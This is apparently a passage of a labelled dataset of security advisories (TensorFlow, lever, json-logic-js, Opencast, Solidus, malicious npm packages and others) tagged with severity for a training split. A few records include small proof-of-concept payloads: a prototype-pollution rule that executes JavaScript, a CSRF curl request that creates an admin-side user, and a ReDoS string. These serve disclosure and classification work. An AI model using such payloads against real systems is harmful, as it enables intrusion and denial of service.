the issue in GitHub commit [2c74674348a4708ced58ad6eb1b23354df8ee044](https://github.com/tensorflow/tensorflow/commit/2c74674348a4708ced58ad6eb1b23354df8ee044).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "43df704de799b2372922", "text": "Data races in lever\n\nAn issue was discovered in the lever crate before 0.1.1 for Rust. AtomicBox<T> implements the Send and Sync traits for all types T. This allows non-Send types such as Rc and non-Sync types such as Cell to be used across thread boundaries which can trigger undefined behavior and memory corruption.", "text_raw": "Data races in lever\n\n[Severity: HIGH]\n\nAn issue was discovered in the lever crate before 0.1.1 for Rust. AtomicBox<T> implements the Send and Sync traits for all types T. This allows non-Send types such as Rc and non-Sync types such as Cell to be used across thread boundaries which can trigger undefined behavior and memory corruption.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f51cebff72f191ff7c39", "text": "Malicious Package in requset\n\nAll versions of `requset` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in requset\n\n[Severity: CRITICAL]\n\nAll versions of `requset` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "0166b547e11ec35f518c", "text": "Malicious Package in geoheat\n\nVersion 1.3.2 of `geoheat` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.3.1", "text_raw": "Malicious Package in geoheat\n\n[Severity: CRITICAL]\n\nVersion 1.3.2 of `geoheat` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.3.1", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "aa050a7500e4099f7c79", "text": "Prototype Pollution in json-logic-js\n\nVersions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.\n\nThe following rule creates a popup when run from a browser:\n```\n{\n  \"method\": [\n    {\n      \"method\": [\n        {\n          \"var\": \"__proto__.constructor.is.__proto__\"\n        },\n        \"constructor\",\n        [\n          \"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)\"\n        ]\n      ]\n    },\n    \"call\"\n  ]\n}\n```", "text_raw": "Prototype Pollution in json-logic-js\n\n[Severity: HIGH]\n\nVersions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.\n\nThe following rule creates a popup when run from a browser:\n```\n{\n  \"method\": [\n    {\n      \"method\": [\n        {\n          \"var\": \"__proto__.constructor.is.__proto__\"\n        },\n        \"constructor\",\n        [\n          \"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)\"\n        ]\n      ]\n    },\n    \"call\"\n  ]\n}\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-12", "split": "train"}
-{"id": "d2a42b43823cf96c039a", "text": ".NET Core Remote Code Execution Vulnerability\n\n.NET Core Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-24112.\n\n### Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 5.0, .NET Core 3.1, and .NET Core 2.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA remote code execution vulnerability exists in .NET 5 and .NET Core due to how text encoding is performed.\n\n### Discussion\n\nDiscussion for this issue can be found at dotnet/runtime#49377\n\n### Mitigation factors\n\nMicrosoft has not identified any mitigating factors for this vulnerability.\n\n### Affected software\n\nThe vulnerable package is `System.Text.Encodings.Web` . Upgrading your package and redeploying your app should be sufficient to address this vulnerability.\n\nVulnerable package versions:\n\nAny .NET 5, .NET Core, or .NET Framework based application that uses the System.Text.Encodings.Web package with a vulnerable version listed below.\n\nPackage Name | Vulnerable Versions | Secure Versions\n-|-|-\nSystem.Text.Encodings.Web | 4.0.0 - 4.5.0 | 4.5.1\nSystem.Text.Encodings.Web |  4.6.0-4.7.1 | 4.7.2\nSystem.Text.Encodings.Web | 5.0.0 |  5.0.1\n\nPlease validate that each of the .NET versions you are using is in support. Security updates are only provided for supported .NET versions.", "text_raw": ".NET Core Remote Code Execution Vulnerability\n\n[Severity: CRITICAL]\n\n.NET Core Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-24112.\n\n### Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 5.0, .NET Core 3.1, and .NET Core 2.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA remote code execution vulnerability exists in .NET 5 and .NET Core due to how text encoding is performed.\n\n### Discussion\n\nDiscussion for this issue can be found at dotnet/runtime#49377\n\n### Mitigation factors\n\nMicrosoft has not identified any mitigating factors for this vulnerability.\n\n### Affected software\n\nThe vulnerable package is `System.Text.Encodings.Web` . Upgrading your package and redeploying your app should be sufficient to address this vulnerability.\n\nVulnerable package versions:\n\nAny .NET 5, .NET Core, or .NET Framework based application that uses the System.Text.Encodings.Web package with a vulnerable version listed below.\n\nPackage Name | Vulnerable Versions | Secure Versions\n-|-|-\nSystem.Text.Encodings.Web | 4.0.0 - 4.5.0 | 4.5.1\nSystem.Text.Encodings.Web |  4.6.0-4.7.1 | 4.7.2\nSystem.Text.Encodings.Web | 5.0.0 |  5.0.1\n\n\nPlease validate that each of the .NET versions you are using is in support. Security updates are only provided for supported .NET versions.\n\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-21", "split": "train"}
-{"id": "9e9bccb3ac53e9610514", "text": "ReDos vulnerability on guest checkout email validation\n\n### Impact\nDenial of service vulnerability that could be exploited during a guest checkout. The regular expression used to validate a guest order's email was subject to exponential backtracking through a fragment like `a.a.`.\n\nBefore the patch, it can be reproduced in the console like this:\n\n```ruby\nirb(main)> Spree::EmailValidator::EMAIL_REGEXP.match \"a@a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.@\"\nprocessing time: 54.293660s\n=> nil\n```\n\nTo reproduce in the browser, fill in the \"Customer Email\" field with that fake email address during a guest checkout. Before that, you should open the browser dev tools and change the `type` attribute for that field from `email` to `text`. After entering a fake address and pressing the \"Save & Continue\" button, the browser will take a long term to perform the request before showing an error message for the invalid address. Eventually, making the email string even longer could lead to the exhaustion of server resources.\n\n### Patches\nVersions 3.1.4, 3.0.4, and 2.11.13 have been patched to use a different regular expression.\n\nThere's an improbable chance that some orders in your system end up having associated an email address that is no longer valid. We've added a task to check precisely that:\n\n```bash\nbin/rails solidus:check_orders_with_invalid_email\n```\n\nThe above will print information for every affected order if any.\n\n### Workarounds\n\nIf a prompt upgrade is not an option, please, add the following to `config/application.rb`:\n\n```ruby\nconfig.after_initialize do\n  Spree::EmailValidator.send(:remove_const, :EMAIL_REGEXP)\n  Spree::EmailValidator::EMAIL_REGEXP = URI::MailTo::EMAIL_REGEXP\nend\n```\n\n### References\n\n- https://en.wikipedia.org/wiki/ReDoS\n- https://snyk.io/blog/redos-and-catastrophic-backtracking/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an [issue](https://github.com/solidusio/solidus/issues) or a [discussion](https://github.com/solidusio/solidus/discussions) in Solidus.\n* Email us at [security@solidus.io](mailto:security@soliidus.io)\n* Contact the core team on [Slack](http://slack.solidus.io/)", "text_raw": "ReDos vulnerability on guest checkout email validation\n\n[Severity: HIGH]\n\n### Impact\nDenial of service vulnerability that could be exploited during a guest checkout. The regular expression used to validate a guest order's email was subject to exponential backtracking through a fragment like `a.a.`.\n\nBefore the patch, it can be reproduced in the console like this:\n\n```ruby\nirb(main)> Spree::EmailValidator::EMAIL_REGEXP.match \"a@a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.@\"\nprocessing time: 54.293660s\n=> nil\n```\n\nTo reproduce in the browser, fill in the \"Customer Email\" field with that fake email address during a guest checkout. Before that, you should open the browser dev tools and change the `type` attribute for that field from `email` to `text`. After entering a fake address and pressing the \"Save & Continue\" button, the browser will take a long term to perform the request before showing an error message for the invalid address. Eventually, making the email string even longer could lead to the exhaustion of server resources.\n\n\n### Patches\nVersions 3.1.4, 3.0.4, and 2.11.13 have been patched to use a different regular expression.\n\nThere's an improbable chance that some orders in your system end up having associated an email address that is no longer valid. We've added a task to check precisely that:\n\n```bash\nbin/rails solidus:check_orders_with_invalid_email\n```\n\nThe above will print information for every affected order if any.\n\n### Workarounds\n\nIf a prompt upgrade is not an option, please, add the following to `config/application.rb`:\n\n```ruby\nconfig.after_initialize do\n  Spree::EmailValidator.send(:remove_const, :EMAIL_REGEXP)\n  Spree::EmailValidator::EMAIL_REGEXP = URI::MailTo::EMAIL_REGEXP\nend\n```\n\n### References\n\n- https://en.wikipedia.org/wiki/ReDoS\n- https://snyk.io/blog/redos-and-catastrophic-backtracking/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an [issue](https://github.com/solidusio/solidus/issues) or a [discussion](https://github.com/solidusio/solidus/discussions) in Solidus.\n* Email us at [security@solidus.io](mailto:security@soliidus.io)\n* Contact the core team on [Slack](http://slack.solidus.io/)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-07", "split": "train"}
-{"id": "111817b1648b4f2e924d", "text": "Out-of-bounds write in libpng\n\nAn issue has been found in third-party PNM decoding associated with libpng 1.6.35. It is a stack-based buffer overflow in the function get_token in pnm2png.c in pnm2png.", "text_raw": "Out-of-bounds write in libpng\n\n[Severity: HIGH]\n\nAn issue has been found in third-party PNM decoding associated with libpng 1.6.35. It is a stack-based buffer overflow in the function get_token in pnm2png.c in pnm2png.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-22", "split": "train"}
-{"id": "ebc7c1810e63f1cf025c", "text": "HTTP Method Spoofing\n\nOpencast versions prior to 9.10 allow HTTP method spoofing, allowing to change the assumed HTTP method via URL parameter. This allows  attackers to turn HTTP GET requests into PUT requests or an HTTP form to send DELETE requests. This bypasses restrictions otherwise put on these types of requests and aids in cross-site request forgery (CSRF) attacks, which would otherwise not be possible.\n\n### Impact\n\nThe vulnerability allows attackers to craft links or forms which may change the server state. For example, the following GET request would create a new user:\n\n```sh\n% curl -i -u admin:opencast \\\n  'https://legacy.opencast.org/admin-ng/users/test.json?_method=PUT&username=test&password=attack'\nHTTP/2 200\n…\n```\n\nIf an admin is logged in to legacy.opencast.org and accidentally clicks this link, a user will silently be created.\n\n### Patches\n\nThis issue is fixed in Opencast 9.10 and 10.0.\n\n### Workarounds\n\nYou can mitigate the problem by setting the `SameSite=Strict` attribute for your cookies. If this is a viable option for you depends on your integrations. We strongly recommend updating in any case.\n\n### References\n\n- [Fix for 10.0](https://github.com/opencast/opencast/commit/59cb6731067283e54f15462be38b6117d8b9ea8b#diff-9c5fb3d1b7e3b0f54bc5c4182965c4fe1f9023d449017cece3005d3f90e8e4d8)\n- [Fix for 9.10](https://github.com/opencast/opencast/commit/8f8271e1085f6f8e306c689d6a56b0bb8d076444)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n* Email us at [security@opencast.org](mailto:security@opencast.org)", "text_raw": "HTTP Method Spoofing\n\n[Severity: HIGH]\n\nOpencast versions prior to 9.10 allow HTTP method spoofing, allowing to change the assumed HTTP method via URL parameter. This allows  attackers to turn HTTP GET requests into PUT requests or an HTTP form to send DELETE requests. This bypasses restrictions otherwise put on these types of requests and aids in cross-site request forgery (CSRF) attacks, which would otherwise not be possible.\n\n### Impact\n\nThe vulnerability allows attackers to craft links or forms which may change the server state. For example, the following GET request would create a new user:\n\n```sh\n% curl -i -u admin:opencast \\\n  'https://legacy.opencast.org/admin-ng/users/test.json?_method=PUT&username=test&password=attack'\nHTTP/2 200\n…\n```\n\nIf an admin is logged in to legacy.opencast.org and accidentally clicks this link, a user will silently be created.\n\n\n### Patches\n\nThis issue is fixed in Opencast 9.10 and 10.0.\n\n### Workarounds\n\nYou can mitigate the problem by setting the `SameSite=Strict` attribute for your cookies. If this is a viable option for you depends on your integrations. We strongly recommend updating in any case.\n\n### References\n\n- [Fix for 10.0](https://github.com/opencast/opencast/commit/59cb6731067283e54f15462be38b6117d8b9ea8b#diff-9c5fb3d1b7e3b0f54bc5c4182965c4fe1f9023d449017cece3005d3f90e8e4d8)\n- [Fix for 9.10](https://github.com/opencast/opencast/commit/8f8271e1085f6f8e306c689d6a56b0bb8d076444)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n* Email us at [security@opencast.org](mailto:security@opencast.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "1471a9d46ea47b8bf0e6", "text": "ECOA Building Automation System Hard-coded Credentials SSH Access", "text_raw": "ECOA Building Automation System Hard-coded Credentials SSH Access\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-09-08", "split": "train"}
-{"id": "90a047ceb19cd18c406b", "text": "Server classes and resources exposure in OSGi applications using Vaadin 12-14 and 19\n\nVulnerability in OSGi integration in `com.vaadin:flow-server` versions 1.2.0 through 2.4.7 (Vaadin 12.0.0 through 14.4.9), and 6.0.0 through 6.0.1 (Vaadin 19.0.0) allows attacker to access application classes and resources on the server via crafted HTTP request.\n\n- https://vaadin.com/security/cve-2021-31407", "text_raw": "Server classes and resources exposure in OSGi applications using Vaadin 12-14 and 19\n\n[Severity: HIGH]\n\nVulnerability in OSGi integration in `com.vaadin:flow-server` versions 1.2.0 through 2.4.7 (Vaadin 12.0.0 through 14.4.9), and 6.0.0 through 6.0.1 (Vaadin 19.0.0) allows attacker to access application classes and resources on the server via crafted HTTP request.\n\n- https://vaadin.com/security/cve-2021-31407", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "6dabef785f01a93221b0", "text": "Gecko CMS 2.3 Multiple Vulnerabilities", "text_raw": "Gecko CMS 2.3 Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-01-12", "split": "train"}
-{"id": "2c0580803cb388eb6a45", "text": "Malicious Package in dynamo-schema\n\nVersion 0.0.3 of `dynamo-schema` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.0.3 of this module is found installed you will want to replace it with a version before or after 0.0.3. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in dynamo-schema\n\n[Severity: CRITICAL]\n\nVersion 0.0.3 of `dynamo-schema` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.0.3 of this module is found installed you will want to replace it with a version before or after 0.0.3. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "c460061a7ea9d258480c", "text": "WEBrick Improper Input Validation vulnerability\n\nWEBrick 1.3.1 in Ruby 1.8.6 through patchlevel 383, 1.8.7 through patchlevel 248, 1.8.8dev, 1.9.1 through patchlevel 376, and 1.9.2dev writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.", "text_raw": "WEBrick Improper Input Validation vulnerability\n\n[Severity: MEDIUM]\n\nWEBrick 1.3.1 in Ruby 1.8.6 through patchlevel 383, 1.8.7 through patchlevel 248, 1.8.8dev, 1.9.1 through patchlevel 376, and 1.9.2dev writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "2a05b86a4f94a52493d7", "text": "The application plugins in Apache CXF Fediz 1.2.x before 1.2.3 and 1.3.x before 1.3.1 do not match SAML AudienceRestriction values against configured audience URIs, which might allow remote attackers to have bypass intended restrictions and have unspecified other impact via a crafted SAML token with a trusted signature.", "text_raw": "High severity vulnerability that affects org.apache.cxf.fediz:fediz-spring and org.apache.cxf.fediz:fediz-spring2\n\n[Severity: HIGH]\n\nThe application plugins in Apache CXF Fediz 1.2.x before 1.2.3 and 1.3.x before 1.3.1 do not match SAML AudienceRestriction values against configured audience URIs, which might allow remote attackers to have bypass intended restrictions and have unspecified other impact via a crafted SAML token with a trusted signature.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "62f8091cb797a54f1cba", "text": "Omeka 2.2.1 Remote Code Execution Exploit", "text_raw": "Omeka 2.2.1 Remote Code Execution Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-07-24", "split": "train"}
-{"id": "badab882d6e155313584", "text": "Malicious Package in wepack-cli\n\nAll versions of `wepack-cli` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in wepack-cli\n\n[Severity: CRITICAL]\n\nAll versions of `wepack-cli` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "7ae27a711c3e3014c375", "text": "Inconsistent input sanitisation leads to XSS vectors\n\n### Background\n\nA variety of templates do not perform proper sanitization through HTML escaping.\nDue to the lack of sanitization and use of ``jQuery.html()``, there are a whole host of XSS possibilities with specially crafted input to a variety of fields.\n\n### Impact\n\nOMERO.web before 5.11.0 and OMERO.figure before 4.4.1.\n\n### Patches\nUsers should upgrade OMERO.web to 5.11.0 or higher and OMERO.figure to 4.4.1 or higher.", "text_raw": "Inconsistent input sanitisation leads to XSS vectors\n\n[Severity: CRITICAL]\n\n### Background\n\nA variety of templates do not perform proper sanitization through HTML escaping.\nDue to the lack of sanitization and use of ``jQuery.html()``, there are a whole host of XSS possibilities with specially crafted input to a variety of fields.\n\n### Impact\n\nOMERO.web before 5.11.0 and OMERO.figure before 4.4.1.\n\n### Patches\nUsers should upgrade OMERO.web to 5.11.0 or higher and OMERO.figure to 4.4.1 or higher.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-14", "split": "train"}
-{"id": "5216a8e375b107863657", "text": "actionpack and activesupport vulnerable to information leaks\n\nA certain algorithm in Ruby on Rails 2.1.0 through 2.2.2, and 2.3.x before 2.3.4, leaks information about the complexity of message-digest signature verification in the cookie store, which might allow remote attackers to forge a digest via multiple attempts.", "text_raw": "actionpack and activesupport vulnerable to information leaks\n\n[Severity: MEDIUM]\n\nA certain algorithm in Ruby on Rails 2.1.0 through 2.2.2, and 2.3.x before 2.3.4, leaks information about the complexity of message-digest signature verification in the cookie store, which might allow remote attackers to forge a digest via multiple attempts.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "d2b15a27ca0874f523fc", "text": "Object injection in PHPMailer/PHPMailer\n\n### Impact\nThis is a reintroduction of an earlier issue (CVE-2018-19296) by an unrelated bug fix in PHPMailer 6.1.8.  An external file may be unexpectedly executable if it is used as a path to an attachment file via PHP's support for `.phar` files`. Exploitation requires that an attacker is able to provide an unfiltered path to a file to attach, or to trick calling code into generating one. See [this article](https://knasmueller.net/5-answers-about-php-phar-exploitation) for more info.\n\n### Patches\nThis issue was patched in the PHPMailer 6.4.1 release. This release also implements stricter filtering for attachment paths; paths that look like *any* kind of URL are rejected.\n\n### Workarounds\nValidate paths to loaded files using the same pattern as used in [`isPermittedPath()`](https://github.com/PHPMailer/PHPMailer/blob/master/src/PHPMailer.php#L1815) before using them in *any* PHP file function, such as `file_exists`. This method can't be used directly because it is protected, but you can implement the same thing in calling code. Note that this should be applied to *all* user-supplied paths passed into such functions; it's not a problem specific to PHPMailer.\n\n### Credit\nThis issue was found by Fariskhi Vidyan, reported and managed via Tidelift.", "text_raw": "Object injection in PHPMailer/PHPMailer\n\n[Severity: CRITICAL]\n\n### Impact\nThis is a reintroduction of an earlier issue (CVE-2018-19296) by an unrelated bug fix in PHPMailer 6.1.8.  An external file may be unexpectedly executable if it is used as a path to an attachment file via PHP's support for `.phar` files`. Exploitation requires that an attacker is able to provide an unfiltered path to a file to attach, or to trick calling code into generating one. See [this article](https://knasmueller.net/5-answers-about-php-phar-exploitation) for more info.\n\n### Patches\nThis issue was patched in the PHPMailer 6.4.1 release. This release also implements stricter filtering for attachment paths; paths that look like *any* kind of URL are rejected.\n\n### Workarounds\nValidate paths to loaded files using the same pattern as used in [`isPermittedPath()`](https://github.com/PHPMailer/PHPMailer/blob/master/src/PHPMailer.php#L1815) before using them in *any* PHP file function, such as `file_exists`. This method can't be used directly because it is protected, but you can implement the same thing in calling code. Note that this should be applied to *all* user-supplied paths passed into such functions; it's not a problem specific to PHPMailer.\n\n### Credit\nThis issue was found by Fariskhi Vidyan, reported and managed via Tidelift.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-04", "split": "train"}
-{"id": "82d6882863670748011c", "text": "Spring Security OAuth vulnerable to remote code execution (RCE) via specially crafted request using whitelabel views\n\nWhen processing authorization requests using the whitelabel views in Spring Security OAuth 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote code execution via the crafting of the value for response_type.", "text_raw": "Spring Security OAuth vulnerable to remote code execution (RCE) via specially crafted request using whitelabel views\n\n[Severity: HIGH]\n\nWhen processing authorization requests using the whitelabel views in Spring Security OAuth 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote code execution via the crafting of the value for response_type.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "964c456a57119589345c", "text": "Prototype Pollution in jquery-deparam\n\nImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in jquery-deparam allows a malicious user to inject properties into Object.prototype.", "text_raw": "Prototype Pollution in jquery-deparam\n\n[Severity: HIGH]\n\nImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in jquery-deparam allows a malicious user to inject properties into Object.prototype.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "f78a6b85b87dcf6f3d35", "text": "Improper Preservation of Permissions in github.com/cloudflare/cfrpki/cmd/octorpki\n\n### Impact\n\nWhen copying files with rsync, octorpki uses the \"-a\" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root (https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service) this could allow for a vector, when combined with another vulnerability that causes octorpki to process a malicious TAL file, for a local privilege escalation.\n\n## For more information\n\nIf you have any questions or comments about this advisory email us at security@cloudflare.com", "text_raw": "Improper Preservation of Permissions in github.com/cloudflare/cfrpki/cmd/octorpki\n\n[Severity: HIGH]\n\n### Impact\n\nWhen copying files with rsync, octorpki uses the \"-a\" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root (https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service) this could allow for a vector, when combined with another vulnerability that causes octorpki to process a malicious TAL file, for a local privilege escalation.  \n\n## For more information\n\nIf you have any questions or comments about this advisory email us at security@cloudflare.com", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "996e6156b4133a654aa4", "text": "Valine HTML Injection\n\nAn issue was discovered in Valine v1.3.3. It allows HTML injection, which can be exploited for JavaScript execution via an EMBED element in conjunction with a .pdf file.", "text_raw": "Valine HTML Injection\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Valine v1.3.3. It allows HTML injection, which can be exploited for JavaScript execution via an EMBED element in conjunction with a .pdf file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "fb90e8cdec8a64bb8b49", "text": "Zoho ManageEngine ADSelfService Plus Authentication Bypass Vulnerability\n\nAffected: Zoho ManageEngine\n\nZoho ManageEngine ADSelfService Plus contains an authentication bypass vulnerability affecting the REST API URLs which allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-55\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Zoho ManageEngine ADSelfService Plus Authentication Bypass Vulnerability\n\nAffected: Zoho ManageEngine\n\nZoho ManageEngine ADSelfService Plus contains an authentication bypass vulnerability affecting the REST API URLs which allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-55\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "09f8929b9b09b7e22379", "text": "Directory Traversal in SharpCompress\n\nSharpCompress prior to version 0.21 is vulnerable to path traversal issue in archive extraction.", "text_raw": "Directory Traversal in SharpCompress\n\n[Severity: MEDIUM]\n\nSharpCompress prior to version 0.21 is vulnerable to path traversal issue in archive extraction.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "6d25f7f51e05b4c54c1f", "text": "Arbitrary File Read in Snyk Broker\n\nAll versions of snyk-broker after 4.72.0 including and before 4.73.1 are vulnerable to Arbitrary File Read. It allows arbitrary file reads to users with access to Snyk's internal network of any files ending in the following extensions: yaml, yml or json.", "text_raw": "Arbitrary File Read in Snyk Broker\n\n[Severity: MEDIUM]\n\nAll versions of snyk-broker after 4.72.0 including and before 4.73.1 are vulnerable to Arbitrary File Read. It allows arbitrary file reads to users with access to Snyk's internal network of any files ending in the following extensions: yaml, yml or json.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "3b179ba82169decef3b9", "text": "ReQuest Serious Play Media Player 3.0 Directory Traversal File Disclosure Vulnerability", "text_raw": "ReQuest Serious Play Media Player 3.0 Directory Traversal File Disclosure Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-10-18", "split": "train"}
-{"id": "31d76b80328b2d4720b0", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1062, CVE-2019-1092, CVE-2019-1103, CVE-2019-1106.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1062, CVE-2019-1092, CVE-2019-1103, CVE-2019-1106.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "7539e88a02f45353a52a", "text": "Nevercenter Silo 2.1.1 Insecure Library Loading Vulnerability", "text_raw": "Nevercenter Silo 2.1.1 Insecure Library Loading Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-11-08", "split": "train"}
